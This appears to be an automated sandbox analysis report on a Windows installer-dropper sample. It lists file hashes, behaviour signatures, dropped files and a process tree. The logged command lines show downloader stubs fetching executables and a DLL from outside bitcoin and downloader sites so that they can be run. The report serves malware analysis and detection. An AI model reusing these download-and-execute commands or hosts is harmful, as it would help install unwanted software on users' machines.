Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-10-2024 09:20

General

  • Target

    171895faed5b4b0fa691fac0a0432d89_JaffaCakes118.exe

  • Size

    492KB

  • MD5

    171895faed5b4b0fa691fac0a0432d89

  • SHA1

    22845947f911153857392664ee65826573e5b0f5

  • SHA256

    738d592d243d13fb5e8c91d817f72aa7202aebd3a437ac1038013e12ad7a5854

  • SHA512

    9890444aaf6c50b2afe852ae6f1a1aa3b53028ea5d2d2c156cd6aa703fc80c017469142d03d7f026ea849721a45eecbcd7051136ab4c35f9325e021eac8e0750

  • SSDEEP

    6144:fuk4fqjjbQqF6jtY03ZgLpp6TURimpBwXVUTL7E97IkXQxBRUoz0JehYvH7Aw0v9:p4fw36peEUBwXVwM9vylzdYvH7AwC

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 9 IoCs
  • Loads dropped DLL 64 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • NSIS installer 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\171895faed5b4b0fa691fac0a0432d89_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\171895faed5b4b0fa691fac0a0432d89_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4424
    • C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\stub.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:3612
    • C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\OpenCL.dll"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2976
    • C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\updater.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:1760
    • C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\downloaderDDLR.exe
      C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\DirectDownloaderInstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:3988
    • C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\downloaderOFFER0.exe
      C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\optimizer.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2652
    • C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\preinstaller.exe 0 "Uglies series by scott westerfeld" "Download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:3404
    • C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/BitAcceleratorDDLRinstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\BitAcceleratorDDLRinstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:4520
    • C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\preinstaller.exe 1 "Uglies series by scott westerfeld"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:3588
    • C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\preinstaller.exe 3 "Uglies series by scott westerfeld"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:1848

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\downloaderOFFER2.exe

    Filesize

    58KB

    MD5

    c7f6ed56312c8fbb58ae6ed445c38df4

    SHA1

    e2dba94ef052db774478b9f7198c1a2298b334e5

    SHA256

    fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

    SHA512

    ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

  • C:\Users\Admin\AppData\Local\Temp\efa46ef9e7a1e744d1a97094061e6118\preinstaller.exe

    Filesize

    213KB

    MD5

    06baef00ae0f0e42fc5fea24fc4eac42

    SHA1

    9161574590f09cfe4c24498827386ed57f2e8c58

    SHA256

    19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8

    SHA512

    29431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486

  • C:\Users\Admin\AppData\Local\Temp\nsfA048.tmp\NSISdl.dll

    Filesize

    14KB

    MD5

    a5f8399a743ab7f9c88c645c35b1ebb5

    SHA1

    168f3c158913b0367bf79fa413357fbe97018191

    SHA256

    dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

    SHA512

    824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

  • C:\Users\Admin\AppData\Local\Temp\nsjCF38.tmp\Processes.dll

    Filesize

    35KB

    MD5

    2cfba79d485cf441c646dd40d82490fc

    SHA1

    83e51ac1115a50986ed456bd18729653018b9619

    SHA256

    86b302fa9c85dfa0c1c03ba000864a928365dab571f3355347dba02da22949b7

    SHA512

    cca186a7f9c5cff3f4eca410fbe8cc13dad2514a7e36aec9b1addfbcb239ace9b9b2d8427771858e3fd11783abce7e24d43c286f98da9f8b17562ca095a4c043

  • memory/1848-686-0x0000000000400000-0x000000000043F000-memory.dmp

    Filesize

    252KB

  • memory/1848-395-0x0000000000400000-0x000000000043F000-memory.dmp

    Filesize

    252KB

  • memory/1848-967-0x0000000000400000-0x000000000043F000-memory.dmp

    Filesize

    252KB

  • memory/1848-1499-0x0000000000400000-0x000000000043F000-memory.dmp

    Filesize

    252KB

  • memory/1848-2924-0x0000000000400000-0x000000000043F000-memory.dmp

    Filesize

    252KB

  • memory/3404-45-0x0000000000400000-0x000000000043F000-memory.dmp

    Filesize

    252KB

  • memory/3588-56-0x0000000000400000-0x000000000043F000-memory.dmp

    Filesize

    252KB

  • memory/4424-55-0x0000000000400000-0x0000000000444000-memory.dmp

    Filesize

    272KB

  • memory/4424-310-0x0000000000400000-0x0000000000444000-memory.dmp

    Filesize

    272KB

  • memory/4424-2555-0x0000000000400000-0x0000000000444000-memory.dmp

    Filesize

    272KB